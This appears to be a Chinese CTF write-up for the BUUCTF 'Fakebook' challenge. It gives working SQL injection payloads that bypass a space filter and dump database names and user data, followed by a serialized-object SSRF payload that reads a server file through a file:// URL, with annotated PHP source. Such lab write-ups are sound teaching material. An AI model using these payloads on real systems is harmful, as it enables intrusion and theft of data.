zoukankan      html  css  js  c++  java
  • BUUCTF |Fakebook

    1.在注册后发现这个界面,猜测是不是存在注入点

    http://654000be-ea72-4eae-8074-c6cf2798c9e9.node3.buuoj.cn/view.php?no=1and1 
    http://654000be-ea72-4eae-8074-c6cf2798c9e9.node3.buuoj.cn/view.php?no=1and0

     2.order by得到长度为4(这里存在对空格的过滤)

    3.爆库名

    /view.php?no=-1++union++select++1,group_concat(schema_name),3,4++from++information_schema.schemata--+

     4.继续查询中发现data存的是个序列化后的数据,猜测后台是通过反序列化data后输出前端结果

    /view.php?no=-1++union++select++1,group_concat(data),3,4++from++users--+

     5.查看robots.txt发现一个备份文件

    <?php
    
    
    class UserInfo
    {
        public $name = "";
        public $age = 0;
        public $blog = "";
    
        public function __construct($name, $age, $blog)
        {
            $this->name = $name;
            $this->age = (int)$age;
            $this->blog = $blog;
        }
    
        function get($url)
        {
            $ch = curl_init();
    
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            $output = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            if($httpCode == 404) {
                return 404;
            }
            curl_close($ch);
    
            return $output;
        }
    
        public function getBlogContents ()
        {
            return $this->get($this->blog);
        }
    
        public function isValidBlog ()
        {
            $blog = $this->blog;
            return preg_match("/^(((http(s?))://)?)([0-9a-zA-Z-]+.)+[a-zA-Z]{2,6}(:[0-9]+)?(/S*)?$/i", $blog);
        }
    
    }
    View Code

    看完源码的我面无表情,看了大佬的WP才知道这里是考SSRF漏洞

     6.利用ssrf,的到flag

    ?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";i:1;s:3:"age";i:2;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' 

    解析:

    再读一遍源码:

    <?php
    
    
    class UserInfo
    {
        public $name = "";
        public $age = 0;
        public $blog = "";
    
        public function __construct($name, $age, $blog)
        {
            $this->name = $name;
            $this->age = (int)$age;
            $this->blog = $blog;
        }
    
        function get($url)
        {
            $ch = curl_init();
    		/*curl_init():初始化一个 cURL 会话并且全部的选项都被设置后被调用*/
    
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    		/*
    			curl_setopt — 为给定的cURL会话句柄设置一个选项。
    				说明:
    					bool curl_setopt ( resource $ch , int $option , mixed $value )
    				参数:
    					ch:由 curl_init() 返回的 cURL 句柄。
    					option:需要设置的CURLOPT_XXX选项。
    					value:将设置在option选项上的值。
    					对于下面的这些option的可选参数,value应该被设置一个bool类型的值:
    						CURLOPT_RETURNTRANSFER:将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
    					对于下面的这些option的可选参数,value应该被设置一个string类型的值:
    						CURLOPT_URL:需要获取的URL地址,也可以在curl_init()函数中设置。
    						
    						
    						###################
    						文件流的形式:指的是在传递过程中的文件,比如你上传一张图片,那么他不是以一个完整的图片传输的,是将文件按特定编码的字符传输.这个就是文件流
    		*/
            $output = curl_exec($ch);
    		/*curl_exec :执行 cURL 会话*/
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    		/*
    			curl_getinfo — 获取一个cURL连接资源句柄的信息
    				说明:
    					   mixed curl_getinfo ( resource $ch [, int $opt = 0 ] )获取最后一次传输的相关信息。
    				参数:
    				      ch 由 curl_init() 返回的 cURL 句柄。
    					  opt:这个参数可能是以下常量之一:
    							CURLINFO_HTTP_CODE : 最后一个收到的HTTP代码
    		*/
    		
            if($httpCode == 404) {
                return 404;
            }
            curl_close($ch);
    
            return $output;
        }
    
        public function getBlogContents ()
        {
            return $this->get($this->blog);
        }
    
        public function isValidBlog ()
        {
            $blog = $this->blog;
            return preg_match("/^(((http(s?))://)?)([0-9a-zA-Z-]+.)+[a-zA-Z]{2,6}(:[0-9]+)?(/S*)?$/i", $blog);
        }
    
    }
    

    PS:

    • cURL是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行。它支持文件上传和下载,所以是综合传输工具,但按传统,习惯称cURL为下载工具。cURL还包含了用于程序开发的libcurl。
    • PHP支持的由Daniel Stenberg创建的libcurl库允许你与各种的服务器使用各种类型的协议进行连接和通讯。
    • libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议。libcurl同时也支持HTTPS认证、HTTP POST、HTTP PUT、 FTP 上传(这个也能通过PHP的FTP扩展完成)、HTTP 基于表单的上传、代理、cookies和用户名+密码的认证。
    • PHP中使用cURL实现Get和Post请求的方法
    • 这些函数在PHP 4.0.2中被引入。

    所以这里的重点是 curl_setopt()curl_exec()这两个函数,在注册界面直接输入file:///var/www/html/flag.php存在过滤,这时候可以利用SSRF来绕过过滤


    参考:

    https://lihuaiqiu.github.io/2019/07/13/BUUCTF-Writeup-%E4%B8%80/

    https://www.cnblogs.com/Mikasa-Ackerman/p/11050033.html

    https://www.jianshu.com/p/90a34b08a416

    拓展靶场:

    https://www.freebuf.com/column/157466.html

  • 相关阅读:
    Geogebra指令
    大表修改表结构
    mongodb获取配置参数getParameter
    mysql的binlog增量日志解析,提供增量数据订阅和消费
    chaosblade-exec-os项目的burnio.go文件解读
    mysql的where条件中的字段不要加函数
    mysql释放大表空间的正确之道
    mysql服务器问题
    purge binary logs to 'mysql-bin.039790';
    golang操作mysql数据库的规范
  • 原文地址:https://www.cnblogs.com/chrysanthemum/p/11784487.html
Copyright © 2011-2022 走看看